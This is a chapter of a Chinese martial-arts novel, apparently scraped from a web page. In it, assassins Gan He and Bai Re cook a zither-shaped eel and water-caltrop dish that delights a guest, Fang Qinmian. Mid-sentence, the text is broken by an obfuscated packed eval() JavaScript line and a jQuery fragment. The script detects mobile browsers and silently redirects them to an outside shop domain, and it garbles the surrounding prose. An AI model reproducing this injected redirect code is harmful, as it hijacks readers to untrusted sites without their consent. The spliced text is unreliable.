“哈哈。谁要看你。你有什么可看的。”文欣的声音很小,小到只有白热能听得到,又刺耳得像针。
白热心中恼火,这狐媚子在甘鹤面前乖巧伶俐、小鸟依人,对外人就一副尖酸刻薄的样子。
江湖中人,都不会将自己的后面暴露给别人,更何况是白热这样从刀山血海中杀出来的杀手,更加绝不容许有人在背后对自己指指点点。
他正欲发作,余光却瞥见那双娇媚又无比骄矜的眸子从未落在自己身上过。
而是落在自己手边的鳝丝上。
他稳了稳心神,毕竟是自己膜拜的杀手之王看上的女人,虽觉得是甘鹤看走了眼,但总应有些手段,不妨先听她说话。
文欣道:“请问你,擅长做什么?”
白热冷笑:“我会做的事情一向很多。”
文欣叹了口气,仿佛看傻子一样瞥了白热一眼:“这里是厨房,你在做菜。请你说些相干的事。”
其实白热方才听到问题,一下子涌到心头的只有一句话——擅长杀人。可是背后说两句也就算了,谁也不好拉下脸,在这样一位美人面前说出这般话来。
白热换了一种委婉些的说法:“我擅长用刀。”
“那很好。”文欣想了想,看了看白热和钱沫身边案板上的青绿与重彩,又转向甘鹤,拉着她的袖口道,“甘鹤,这些食材都是什么呀?”
“这边是鳝丝,那边是南湖菱。”甘鹤柔声道,“都是嘉兴的特色。”
连鳝丝和南湖菱都不认得,真是令人笑掉大牙,白热咬牙,为什么这女人在甘鹤面前便这样矫揉造作,甘鹤还偏偏能吃得下这一套。早听说甘鹤轻车简从、行事直接,不喜浮夸,凭什么现在对文欣例外?
文欣点了点头,道:“我觉得应该切得细一些。”
白热看着手边的鳝丝,这些鳝丝本就是他方才刚刚切好的,不厚不薄,不长不短,恰到好处。
他轻蔑地笑了笑:“你真的下过厨房?”
“没怎么下过。可是没吃过猪肉,难道还没见过猪跑吗?”文欣食指点唇,目光游离,“而且,我不但见过猪跑,也见过人切菜。”
白热盯着文欣,道:“这话是什么意思?你莫非骂我是猪?”
“哪里。”文欣抱肩道,“你总该听过慕容陵光外号「纸醉金迷」,我作为神龙帮的大小姐,吃过的山珍海味、美味佳肴当然不会少。”
甘鹤不免有些失笑,在场的人,无一例外都对神龙帮的消息在意极了,没想到从文欣自己口中第一次说出来,竟是在夸耀吃得多。
“不妨让我来切。”甘鹤道。
“不用你这‘外人’动手。”白热刹那间挥刀,刀影纷飞,片刻之间,几乎每条鳝丝都瘦了一半,他淡淡道,“这样该够了?”
“不够。”文欣摇了摇头。
“还不够?”白热索性将刀摔在案板上,冷冷道,“你莫非是刻意找茬?我从未见过比这还要细的鳝丝。你难道以为我是在切茄子?”
“就是要越细越好。像琴弦一样细才好。”文欣道。
甘鹤苦笑,文欣的要求实在是有些无理取闹,就连她都闻所未闻。
“我可不想让客人笑话。你莫看轻我,我虽然姓白,却不是白痴!”白热倚在案边,不动。
文欣看向甘鹤。
甘鹤也不动,任何一个做过饭的厨子都不会轻易答应这样子的要求。
何况她是传闻中全天下最冷漠、最冷酷的杀手之一,杀手要的是冷静沉着,不是变通,更绝不会做任何不切实际的事情。
文欣看向甘鹤,眸子里好像能挤出水来。
白热脸色微变,忽然之间,他已经看到了薛摩天几大神功之一的七星剑法,真是强而有力,强而有力呀!
甘鹤居然以刀代剑,用「摩天先生」最可怕的杀人剑法切鳝丝。
唰——
哐哐哐。
如今的鳝丝,说是粉丝也不为过。
“好,这才漂亮。”文欣拍手道,“可以炒啦。”
白热的汗越来越多,甘鹤居然甘心为了这女子,出这样大的丑,以此等武林中人梦寐以求的绝世武功切鱼!
而现在,这“小魔女”竟还走到了厨房的另一侧,又开始对着一盘半绿半白的团块端详。
“妹子,这是南湖菱。”钱沫笑了笑,“天下之菱,大多有角,唯有南湖菱无角。你是北方人,恐怕未曾见过。听说北方的菱角是黑色的,这里的菱,却偏偏一片翠绿。”
“原来是嘉兴的特产。”文欣低下头,喃喃道,“菱本是有角的,它却无角,一片翠绿……”
与做菜无关,他心里忽而泛起一阵一闪而过的酸楚。
“平常,得再过两三个月才吃。”钱沫已接着道,“可这道菜,也是我们客栈的招牌。我们用秘法育出来的品种成熟得快,再加上天公作美,现在就可抢先一尝了。只不过咬着发涩,未能入口即化。”
文欣道:“所以,你们本想做这样两道菜招待那位客人。”
钱沫道:“是的。恐怕再做些别的更好……”
“不。”文欣也笑了笑,道,“我看,这已经很足够。”
“已经很足够?那便做这么两道好了。”钱沫怔了怔,饶是她常与南来北往的客人打交道,也不时对文欣的语气感到诧异,文欣时而单纯到可爱,时而又一副成熟肯定的样子,实在古怪。
“我看,一道就好。”文欣的身体微倾,嘴巴弯弯的。
方勤勉的嘴也弯。
不过是嘴角向下。
他眉头紧锁,对面的食指酒楼怎么就忽然被包下了呢?这家客栈摆盘粗糙,坏境简陋,实在不是会客之地。
正想着,他的鼻子却被一阵奇特的异香吸引,香气一入鼻腔,顿时一飞冲天,方勤勉忽而想到前几个月与夫人在敦煌时所见的飞天舞乐,舌头不由得鹿指般苏醒,双臂简直要成那击鼓之势。
一盘菜由白热轻轻摆到了他面前。
方勤勉的眉头皱得更深。
他从来没有见过这样一道菜,从来没有见过这样古怪的一道菜。
他沉思片刻,才沉声问道:“这道菜叫什么?”
白热沉默半晌,才勉强红着脸说出口:“这……这道菜叫……知音。”
说完,他简直想掌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771556|209626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己的嘴,文欣这个妖女,怎么可以想得出这么浮夸的菜名?文欣自己还不出面,说什么怕生,真是可恶至极!这样的菜,真的可以吗?
方勤勉盯着盘子。
这道菜简直不是菜,而是一盘画,秀色可餐。
画的主体是黑白。
黑的是鳝丝,一条衔着一条,结成长线,共成七行。
这七行鳝丝,却是从首尾被高高垫起的。
首尾皆是一片柔嫩的白。
南湖菱,好多南湖菱。
纵观之下,竟成一张横琴,白玉为岳,青丝成弦,散绿作徽,精巧得让人想捏在手上把玩。鳝丝间淌下的赤酱犹如高山流水,仙酿通贯龙池凤沼。
方勤勉便夹起一团,品味。
白热盯着方勤勉的脸,既晴又阴的一张脸,说不清道不明的表情。
片刻之后,方勤勉将筷子重重地拍在桌上。
白热皱眉,小妖女的把戏还是太乖张了些,这般注重摆盘,未必有用。
方勤勉长叹一声:“好。”
“好?”白热怔了怔,才惊道。
方勤勉道:“拿钱。”
旁边的刀客马上取出一张十两的银票,摆在桌上。
钱沫心中大喜,面上却还是说道:“客气,怎要得了这么多?”
方勤勉道:“这道菜的确要不了这么多。可是先前失礼,权作赔罪。想不到小小客栈之间,竟有高人,能懂我心思。敢问此菜是何人设计?”
钱沫看向甘鹤。
甘鹤目前是一个不会说谎的人。
她咳嗽一声,上前两步,沉声道:“嗯……在下设计的。”
说着,她又开始掐自己的手,文欣近来居然真的怕起生了,面也不露。无妨,既然尽不到许多夫君之责,便在这些方面弥补算了。
“这菜可谓色、香、味俱全。”方勤勉曼声道,“鳝丝咸香爽利,又无刺无骨,吸来通畅无阻,酣畅淋漓。唯稍显油腻,是为缺憾。可湖菱正宜解腻,脆生与重彩相和,便无虞矣。”
甘鹤正色道:“嗯。”
“惜字如金,果然是高手中的高手。胸中藏有千言,嘴上却一笑了之。听闻很多醉心艺术之人,皆是如此。”方勤勉又叹道,“可我等的人迟迟未到,恐怕不一定等得到了。”
钱沫已接过话茬:“却不知方大少等的是何人?”
“「游龙剑」方少华。”方勤勉道。
“嗯?”甘鹤不由得微微皱眉。
“怎么?阁下认得?”方勤勉疑惑道。
“怎么会认得!”甘鹤的身份不能轻易暴露,钱沫已打起圆场,“我们都不是江湖中人,听你说起这样一位剑客,当然觉得稀奇。”
“哦。”方勤勉道,“我与这方少华有过几面之缘,听得他游历四方,又是同宗,便向他提了一个请。”
“夫人极好听曲,近来正在家中疗养,百无聊赖。”方勤勉喝了口茶,“我便托他周游浙江,将四地通晓音律的乐器名家一一探访,回报与我。约了日期时辰,却没等得来他。对了——”
他盯着甘鹤:“你总是挟着这样古怪的一副琴盒呢。”